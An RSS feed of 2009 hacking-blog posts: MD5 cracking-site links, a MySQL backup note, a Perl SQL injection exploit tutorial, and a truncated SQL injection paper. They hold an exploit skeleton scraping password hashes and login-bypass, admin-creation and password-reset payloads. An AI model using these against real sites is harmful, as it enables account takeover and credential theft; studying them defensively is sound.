<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Hacking-Gurus &#187; db</title>
	<atom:link href="http://www.hacking-gurus.net/tag/db/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.hacking-gurus.net</link>
	<description>Security Blog</description>
	<lastBuildDate>Mon, 26 Apr 2010 07:25:03 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=abc</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Crack MD5 Password Hash Online</title>
		<link>http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/</link>
		<comments>http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 03:23:19 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Password Recovery]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[Website Security]]></category>
		<category><![CDATA[cheatsheet]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[passwd]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=111</guid>
		<description><![CDATA[
		
		
		
		Hello ,
below is some links to crack md5 password hashes online , i will keep this post updated with all online links for cracking md5.

http://gdataonline.com
http://md5.rednoize.com
http://ice.breaker.free.fr
http://www.milw0rm.com/md5/
http://shm.hard-core.pl/md5/
http://www.hashchecker.com
http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/
http://md5.benramsey.com
http://md5.altervista.org
http://shm.hard-core.pl
http://plain-text.info
http://www.passcracking.ru/
http://www.securitystats.com/tools/hashcrack.php
http://www.xmd5.org/index_en.htm
]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Crack+MD5+Password+Hash+Online";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Hello ,below is some links to crack md5 password hashes online , i will keep this post updated with all online links for cracking md5.http://gdataonline.comhttp://md5.rednoize.comhttp://ice.breaker.free.frhttp://www.milw0rm.com/md5/http://shm.hard-core.pl/md5/http://www.hashchecker.comhttp://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/http://md5.benramsey.comhttp://md5.altervista.orghttp://shm.hard-core.plhttp://plain-text.infohttp://www.passcracking.ru/http://www.securitystats.com/tools/hashcrack.phphttp://www.xmd5.org/index_en.htm";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Hello ,</p>
<p>below is some links to crack md5 password hashes online , i will keep this post updated with all online links for cracking md5.</p>
<p><span id="more-111"></span></p>
<p><a href="http://gdataonline.com" target="_blank">http://gdataonline.com</a><br />
<a href="http://md5.rednoize.com" target="_blank">http://md5.rednoize.com</a><br />
<a href="http://ice.breaker.free.fr" target="_blank">http://ice.breaker.free.fr</a><br />
<a href="http://www.milw0rm.com/md5/" target="_blank"><strong>http://www.milw0rm.com/md5/</strong></a><br />
<a href="http://shm.hard-core.pl/md5/" target="_blank">http://shm.hard-core.pl/md5/</a><br />
<a href="http://www.hashchecker.com" target="_blank">http://www.hashchecker.com</a><br />
<a href="http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/" target="_blank">http://lasecwww.epfl.ch/%7Eoechslin/projects/ophcrack/</a><br />
<a href="http://md5.benramsey.com" target="_blank">http://md5.benramsey.com</a><br />
<a href="http://md5.altervista.org" target="_blank">http://md5.altervista.org</a><br />
<a href="http://shm.hard-core.pl" target="_blank">http://shm.hard-core.pl</a><br />
<a href="http://plain-text.info" target="_blank">http://plain-text.info</a><br />
<a href="http://www.passcracking.ru/" target="_blank">http://www.passcracking.ru/</a><br />
<a href="http://www.securitystats.com/tools/hashcrack.php" target="_blank">http://www.securitystats.com/tools/hashcrack.php</a><br />
<a href="http://www.xmd5.org/index_en.htm" target="_blank">http://www.xmd5.org/index_en.htm</a></p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=111&ts=1280468345" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/30/crack-md5-password-hash-online/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>How to Backing up and Restoring Your MySQL Server</title>
		<link>http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/</link>
		<comments>http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 03:05:55 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[backup]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql server]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=107</guid>
		<description><![CDATA[
		
		
		
		Hello ,
i have created a small bash script to backup complete mysql server and then restore it. you can download the script and configure it as per your need.

Download :
      mysql-backup.sh         29-Apr-2009 08:31  488
      mysql-restore.sh  [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "How+to+Backing+up+and+Restoring+Your+MySQL+Server";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "Hello ,i have created a small bash script to backup complete mysql server and then restore it. you can download the script and configure it as per your need.Download :      mysql-backup.sh         29-Apr-2009 08:31  488      mysql-restore.sh        29-Apr-2009 08:31  1.0Kyou need to change permissions for this script to be executed change permissions...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>Hello ,</p>
<p>i have created a small bash script to backup complete mysql server and then restore it. you can download the script and configure it as per your need.</p>
<p><span id="more-107"></span></p>
<p>Download :</p>
<pre>      <a href="../../../../../downloads/mysql-backup.sh">mysql-backup.sh</a>         29-Apr-2009 08:31  488
      <a href="../../../../../downloads/mysql-restore.sh">mysql-restore.sh</a>        29-Apr-2009 08:31  1.0K</pre>
<p>you need to change permissions for this script to be executed change permissions using :</p>
<p><em>chmod +x mysql-backup.sh</em></p>
<p><em>chmod +x mysql-restore.sh</em></p>
<p>This script requres mysql server, mysql clinet  and mysqldump to take backup of databases and then to restore it ,</p>
<p>Please post you feedback if you got any problem using this script please comment below .</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=107&ts=1280468345" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/30/how-to-backing-up-and-restoring-your-mysql-server/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Writing SQL Injection exploits in Perl</title>
		<link>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/</link>
		<comments>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/#comments</comments>
		<pubDate>Sat, 04 Apr 2009 18:30:22 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[Tutorialz]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[explots]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[ip]]></category>
		<category><![CDATA[ip address]]></category>
		<category><![CDATA[ipchain]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[MSSQL]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[perl]]></category>
		<category><![CDATA[perl exploits]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=62</guid>
		<description><![CDATA[
		
		
		
		[1] Introduction
[2] Little panning of Perl language used into an internet context
[3] Perl SQL Injection by examples
[4] Gr33tz to &#8230;

&#8212;+&#8212; StArT
[1] Introduction
Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot
of operation across the internet just writing a litlle bit of code. So [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "Writing+SQL+Injection+exploits+in+Perl";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = " Introduction Little panning of Perl language used into an internet context Perl SQL Injection by examples Gr33tz to &#8230;&#8212;+&#8212; StArT IntroductionPerl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lotof operation across the internet just writing a litlle bit of code. So...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>[1] Introduction<br />
[2] Little panning of Perl language used into an internet context<br />
[3] Perl SQL Injection by examples<br />
[4] Gr33tz to &#8230;</p>
<p><span id="more-62"></span></p>
<p>&#8212;+&#8212; StArT</p>
<p>[1] Introduction</p>
<p>Perl can be considered a very powerfull programming language in we think to the internet context. Infact we can make a lot<br />
of operation across the internet just writing a litlle bit of code. So i decided to write a similar guide to make an<br />
easiest life to everyone who decide to start writing a perl exploit.<br />
There are few requisites u need to proceed:<br />
- U must know the basics operation of perl (print, chomp, while, die, if, etc etc&#8230;);<br />
- U must know what kind of SQL code u need to inject to obtain a specific thing (stealing pwd, add new admin, etc etc&#8230;).</p>
<p>Now, we are ready to start&#8230;</p>
<p>[2] Little panning of Perl language used into an internet context</p>
<p>Using a Perl code into an internet context means that u should be able to make a sort of dialog between your script and the<br />
server side (or other..). To make this u need to use some &#8220;Perl modules&#8221;.<br />
Those modules must be put on the head of the script. In this tut we are going to use only the &#8220;IO::Socket&#8221; module, but<br />
there are thousand and if u are curious just search on cpan to retrieve info on every module.</p>
<p>[-] Using the IO::Socket module<br />
Using this module is quite simple. To make the Perl Interpreter able to use this module u must write on the starting<br />
of the script &#8220;use IO::Socket&#8221;. With this module u&#8217;ll be able to connect to every server defined previously, using<br />
a chomp, look at the example.</p>
<p>Example:<br />
print &#8220;Insert the host to connect: &#8220;;<br />
chomp ($host=&lt;STDIN&gt;);</p>
<p>Now suppose that the host inserted is www.host.com. We must declare to the interpreter that we want to connect to this<br />
host. To do this, we must create a new sock that will be used by the interpreter to connect.<br />
To create this we are going to write something like this:</p>
<p>$sock = IO::Socket::INET-&gt;new(Proto=&gt;&#8221;tcp&#8221;, PeerAddr=&gt;&#8221;$host&#8221;, PeerPort=&gt;&#8221;80&#8243;)<br />
or die &#8221; ]+[ Connecting ... Can't connect to host.nn";</p>
<p>In this piece of code we have declared that the interpreter must use the "IO::Socket" module, creating a new<br />
connection, through the TCP protocol, using the port 80 and direct to the host specified in the chomp<br />
($host=www.fbi.gov).<br />
If connection is not possible an error message will appear ("Connecting ... Can't connect to host").<br />
Resume:<br />
- Proto=&gt;TCP -------&gt; The protocol to use (TCP/UDP)<br />
- PeerAddr=&gt; -------&gt; The server/host to connect<br />
- PeerPort=&gt; -------&gt; Port to use for the connection</p>
<p>Ok, now let's go to the next step, which is the real hearth of this tut.</p>
<p>[3] Perl SQL Injection</p>
<p>Assuming that we know what kind of SQL statement must inject, now we are going to see how to do this.</p>
<p>The SQL code must be treaty like a normal variable (like &#8220;$injection&#8221;).</p>
<p>Example:<br />
$injection=index.php/forum?=[SQL_CODE]</p>
<p>This string means that we are going to inject the query into &#8220;index.php/forum&#8221; path, following the correct syntax that<br />
will bring us to cause a SQL Injection &#8220;?=&#8221;.</p>
<p>Now we must create a piece of code that will go to inject this query into the host vuln.</p>
<p>print $sock &#8220;GET $injection HTTP/1.1n&#8221;;<br />
print $sock &#8220;Accept: */*n&#8221;;<br />
print $sock &#8220;User-Agent: Hackern&#8221;;<br />
print $sock &#8220;Host: $hostn&#8221;;<br />
print $sock &#8220;Connection: closenn&#8221;;</p>
<p>This piece of code is the most important one into the building of an exploit.<br />
It can be considered the &#8220;validation&#8221; of the connection.<br />
In this case the &#8220;print&#8221; command doesn&#8217;t show anything on screen, but it creates a dialogue and sends commands to the host.</p>
<p>In the first line the script will send a &#8220;GET&#8221; to the selected page defined into &#8220;$injection&#8221;.<br />
In the third line it tells to the host &#8220;who/what&#8221; is making the request of &#8220;GET&#8221;. In this case this is Hacker, but it<br />
can be &#8220;Mozilla/5.0 Firefox/1.0.4&#8243; or other.<br />
In the fourth line it defines the host to connect to, &#8220;$host&#8221;.</p>
<p>With the execution of this script we have made our injection.</p>
<p>Resume of the exploit:</p>
<p>use IO::Socket</p>
<p>print &#8220;Insert the host to connect: &#8220;;<br />
chomp ($host=&lt;STDIN&gt;);</p>
<p>$sock = IO::Socket::INET-&gt;new(Proto=&gt;&#8221;tcp&#8221;, PeerAddr=&gt;&#8221;$host&#8221;, PeerPort=&gt;&#8221;80&#8243;)<br />
or die &#8221; ]+[ Connecting ... Can't connect to host.nn";</p>
<p>$injection=index.php/forum?=[SQL_CODE]</p>
<p>print $sock &#8220;GET $injection HTTP/1.1n&#8221;;<br />
print $sock &#8220;Accept: */*n&#8221;;<br />
print $sock &#8220;User-Agent: Hackern&#8221;;<br />
print $sock &#8220;Host: $hostn&#8221;;<br />
print $sock &#8220;Connection: closenn&#8221;;<br />
close ($sock); #this line terminates the connection</p>
<p>A little trick:</p>
<p>Assuming that, with the execution of SQL Inj, u want to retrieve a MD5 Hash PWD, u must be able to recognize it.<br />
Additionally, u want that your script will show the PWD on your screen.<br />
Well, to make this, the next piece of code, could be one of the possible solutions.</p>
<p>while($answer = &lt;$sock&gt;) {<br />
if ($answer =~ /([0-9a-f]{32})/) {<br />
print &#8220;]+[ Found! The hash is: $1n&#8221;;<br />
exit(); }</p>
<p>This string means that if the answer of the host will show a &#8220;word&#8221; made by 32 characters (&#8221;0&#8243; to &#8220;9&#8243; and &#8220;a&#8221; to &#8220;f&#8221;),<br />
this word must be considered the MD5 Hash PWD and it must be showed on screen.</p>
<p>Conclusions:<br />
The method showed in this tut is only one of the 10000 existing, but, for me, this is the most complete one.<br />
U could use also the module &#8220;LWP::Simple&#8221; in the place of &#8220;IO::Socket&#8221;, but u should change something into the code.<br />
This method can be used also, not only for SQL Injection, but, for example, remote file upload or other.</p>
<img src="http://www.hacking-gurus.net/wp-content/plugins/pixelstats/trackingpixel.php?post_id=62&ts=1280468345" style="display:none;" alt="pixelstats trackingpixel"/>]]></content:encoded>
			<wfw:commentRss>http://www.hacking-gurus.net/2009/04/04/writing-sql-injection-exploits-in-perl/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>MySQL: Secure Web Apps &#8211; SQL Injection techniques</title>
		<link>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/</link>
		<comments>http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 21:14:39 +0000</pubDate>
		<dc:creator>r00t</dc:creator>
				<category><![CDATA[Database Security]]></category>
		<category><![CDATA[Server Security]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[db]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[hacked]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[microsoft]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[networking]]></category>
		<category><![CDATA[permission]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[sql injections]]></category>
		<category><![CDATA[user]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web app]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.hacking-gurus.net/?p=55</guid>
		<description><![CDATA[
		
		
		
		-[ SUMMARY ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;
Introduction
Injecting SQL
Exploiting a Login Form
Exploiting Different SQL Statement Type
Basic Victim Fingerprinting
Standard Blind SQL Injection
Double Query
Filters Evasion
SQL Injection Prevention
Conclusion
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;

&#8212;[  Introduction ]
Hi everybody! I&#8217;m here again to write a little, but I hope interesting, paper concerning
Web Application Security. The aim of these lines are to help you to understand security
flaws regarding SQL Injection.
I know that [...]]]></description>
			<content:encoded><![CDATA[<div style="float: right; width: 42px; padding-right: 10px; margin: 0 0 0 10px;">
		<script type="text/javascript">
		<!--
		digg_url = "http://www.hacking-gurus.net/2009/03/26/mysql-secure-web-apps-sql-injection-techniques/";
		digg_bgcolor = "#FFFFFF";
		digg_skin = "";
		digg_window = "new";
		digg_title = "MySQL%3A+Secure+Web+Apps+%26%238211%3B+SQL+Injection+techniques";
		digg_media = "news";
		digg_topic = "";
		digg_bodytext = "-&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;IntroductionInjecting SQLExploiting a Login FormExploiting Different SQL Statement TypeBasic Victim FingerprintingStandard Blind SQL InjectionDouble QueryFilters EvasionSQL Injection PreventionConclusion&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;Hi...";
		//-->
		</script>
		<script src="http://digg.com/tools/diggthis.js" type="text/javascript"></script></div><p>-[ SUMMARY ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Introduction<br />
Injecting SQL<br />
Exploiting a Login Form<br />
Exploiting Different SQL Statement Type<br />
Basic Victim Fingerprinting<br />
Standard Blind SQL Injection<br />
Double Query<br />
Filters Evasion<br />
SQL Injection Prevention<br />
Conclusion<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p><span id="more-55"></span></p>
<p>&#8212;[  Introduction ]</p>
<p>Hi everybody! I&#8217;m here again to write a little, but I hope interesting, paper concerning<br />
Web Application Security. The aim of these lines are to help you to understand security<br />
flaws regarding SQL Injection.</p>
<p>I know that maybe lots of things here explained are a little bit old; but lots of people<br />
asked to me by email how to find/to prevent SQL Injection flaws in their codes.</p>
<p>Yes, we could say that this is the second part of my first paper regarding PHP flaws<br />
(PHP Underground Security) wrote times ago; where I explained in a very basic form the SQL Injection<br />
(The reason? The focus was on an other principal theme).</p>
<p>How I wrote this paper? In my free time, a couple of lines to help people to find, prevent<br />
this kind of attacks. I hope you enjoy it. For any question or whatever please<br />
contact me here: omni_0 [at] yahoo [DOT] com .<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Injecting SQL ]</p>
<p>As you know almost every dynamic web applications use a database (here we talk<br />
about web application based on &#8220;LAMP architecture&#8221;) to store any kind of data needed<br />
by the application such as images path, texts, user accounts, personal information,<br />
goods in stock, etc.</p>
<p>The web application access to those information by using the SQL (Structured Query<br />
Language). This kind of applications construct one or more SQL Statement to query<br />
the DataBase (and for example to retrieve data); but this query sometimes incorporporate<br />
user-supplied data. (take in mind this)</p>
<p>What about SQL? SQL is a DML (Data Manipulation Language) that is used<br />
to insert, retrive and modify records present in the DataBase.</p>
<p>As I said before web application uses user-supplied data to query the DB but if the<br />
supplied data is not properly sanitized before being used this can be unsafe and<br />
an attacker can INJECT HIS OWN SQL code.<br />
These flaws can be very destructive because an attacker can:</p>
<p>- Inject his data<br />
- Retrive information about users, CC, DBMS.. (make a kind of information gathering)<br />
- and so on..</p>
<p>The fundamentals of SQL Injection are similar to lots of DBMS but, as you know<br />
there are some differences, in this paper I will cover &#8220;Exploting SQL Injection<br />
in MySQL DBMS&#8221; as said upon (this means that if you want to test techniques here<br />
explained on others DBMS you need to try at your own).<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[ Exploiting a Login Form ]</p>
<p>Sometimes happends that coders doesn&#8217;t properly sanitize 2 important variables<br />
such as user-name and password in the login form and this involve a critical<br />
vulnerability that will allow to the attacker the access to a reserved area.</p>
<p>Let&#8217;s make an example query here below:</p>
<p>SELECT * FROM users WHERE username = &#8216;admin&#8217; and password = &#8217;secret&#8217;</p>
<p>With this query the admin supply the username &#8216;admin&#8217; and the password &#8217;secret&#8217;<br />
if those are true, the admin will login into the application.<br />
Let us suppose that the script is vulnerabile to sql injection; what happends<br />
if we know the admin username (in this case &#8216;admin&#8217;)? We don&#8217;t know the password, but<br />
can we make an SQL Injection attack? Yes, easily and then we can gain the access to the application.<br />
In this way:</p>
<p>SELECT * FROM users WHERE username = &#8216;admin&#8217; /*&#8217; and password = &#8216;foobar&#8217;</p>
<p>So, we supplied this information:</p>
<p>- As username = admin&#8217; /*<br />
- As password = foobar (what we want..)</p>
<p>Yes, the query will be true because admin is the right username but then with the<br />
&#8216; /* &#8216; symbol we commented the left SQL Statement.</p>
<p>Here below a funny (but true) example:</p>
<p>$sql = &#8220;SELECT permissions, username FROM $prefix&#8221;.&#8221;auth WHERE<br />
username = &#8216;&#8221; . $_POST['username'] . &#8220;&#8216; AND password = MD5(&#8217;&#8221;.$_POST['wordpass'].&#8221;&#8216;);&#8221;;</p>
<p>$query = mysql_query($sql, $conn);</p>
<p>The variables passed with the POST method are not properly sanitized before being used<br />
and an attacker can inject sql code to gain access to the application.<br />
This is a simple attack but it has a very critical impact.<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[/]</p>
<p>&#8212;[  Exploiting Different SQL Statement Type ]</p>
<p>SQL Language uses different type of statements that could help the programmer to<br />
make different queries to the DataBase; for example a SELECTion of record,<br />
UPDATE, INSERTing new rows and so on. If the source is bugged an attacker can<br />
&#8220;hack the query&#8221; in multiple ways; here below some examples.</p>
<p>SELECT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>SELECT Statement is used to retrieve information from the database; and is<br />
frequentely used &#8220;in every&#8221; application that returns information in response<br />
to a user query. For example SELECT is used for login forms, browsing catalog, viewing<br />
users infos, user profiles, in search engines, etc. The &#8220;point of failure&#8221; is<br />
often the WHERE clause where exactly the users put their supplied arguments.</p>
<p>But sometimes happends that the &#8220;point of failure&#8221; is in the FROM clause; this<br />
happends very rarely.</p>
<p>INSERT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>INSERT statement is used to add new row in the table; and sometimes the application<br />
doesn&#8217;t properly sanitize the data, so a query like the beneath could be vulnerable:</p>
<p>INSERT INTO usr (user, pwd, privilege) VALUES (&#8217;new&#8217;, &#8216;pwd&#8217;, 10)</p>
<p>What happends if the pwd or username are not safe? We can absolutely &#8220;hack the<br />
query&#8221; and perform a new interesting query as shown below:</p>
<p>INSERT INTO usr (user, pwd, privilege) VALUES (&#8217;hacker&#8217;, &#8216;test&#8217;, 1)/*&#8217;, 3)</p>
<p>In this example the pwd field is unsafe and is used to create a new user with<br />
the admin privilege (privilege = 1):</p>
<p>$SQL= &#8220;INSERT INTO usr (user, pwd, id) VALUES (&#8217;new&#8217;, &#8216;&#8221;.$_GET['p'].&#8221;&#8216;, 3)&#8221;;</p>
<p>$result = mysql_query($SQL);</p>
<p>UPDATE Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>UPDATE statement is used (as the word says) to UPDATE one or more records.<br />
This type of statement is used when users (logged into the application) need<br />
to change their own profile information; such as password, the billing address,<br />
etc. An example of how the UPDATE statement works is shown below:</p>
<p>UPDATE usr SET pwd=&#8217;newpwd&#8217; WHERE user = &#8216;billyJoe&#8217; and password = &#8216;Billy&#8217;</p>
<p>The field pwd in the update_profile.php form is absolutely &#8220;a user-supply data&#8221;; so,<br />
try to imagine what happends if the code is like the (vulnerable) code pasted below:</p>
<p>$SQL = &#8220;UPDATE usr SET pwd=&#8217;&#8221;.$_GET['np'].&#8221;&#8216; WHERE user = &#8216;billyJoe&#8217; and pwd = &#8216;Billy&#8217;&#8221;;<br />
$result = mysql_query($SQL);</p>
<p>In this query the password needs to be correct (so, the user needs to know his own password <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> )<br />
and the password will be supplied with the GET method; but leave out this detail (it&#8217;s not so important<br />
for our code injection) and concentrate to the new password field (supplied by $_GET['np'], that<br />
is not sanitized); what happeds if we will inject our code here? Let see below:</p>
<p>UPDATE usr SET pwd=&#8217;owned&#8217; WHERE user=&#8217;admin&#8217;/*&#8217; WHERE user = &#8216;ad&#8217; and pwd = &#8217;se&#8217;</p>
<p>here we just changed the admin password to &#8216; owned &#8216; <img src='http://www.hacking-gurus.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  sounds interesting right?</p>
<p>UNION SELECT Statement<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>The &#8220;UNION SELECT Statement&#8221; is used in SQL to combine the results of 2<br />
or more different SELECT query; obviously in one result.<br />
This kind of statement is very interesting because when you have a SELECT query<br />
often you can add your own UNION SELECT statement to combine the queries (sure,<br />
only if you have a &#8220;bugged sql statement&#8221;) and view the 2 (or more) results in only<br />
one result set. To better understand what I mean I think is better to see an interesting<br />
example and put our hands on it.</p>
<p>Here is our vulnerable code:</p>
<p>-/-/-/-/-/-/-/-/-/ cut -/-/-/-/-/-/-/-/-/</p>
<p>$SQL = &#8220;select * from news where id=&#8221;.$_GET['id'];</p>
<p>$result = mysql_query($SQL);</p>
<p>if (!$result) {<br />
die(&#8217;Invalid query: &#8216; . mysql_error());<br />
}</p>
<p>// Our query is TRUE<br />
if ($result) {<br />
echo &#8216;&lt;br&gt;&lt;br&gt;WELCOME TO www.victim.net NEWS&lt;br&gt;&#8217;;<br />
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {</p>
<p>echo &#8216;&lt;br&gt;Title:&#8217;.$row[1].&#8217;&lt;br&gt;&#8217;;<br />
echo &#8216;&lt;br&gt;News:&lt;br&gt;&#8217;.$row[2];<br />
}</p>
<p>}</p>
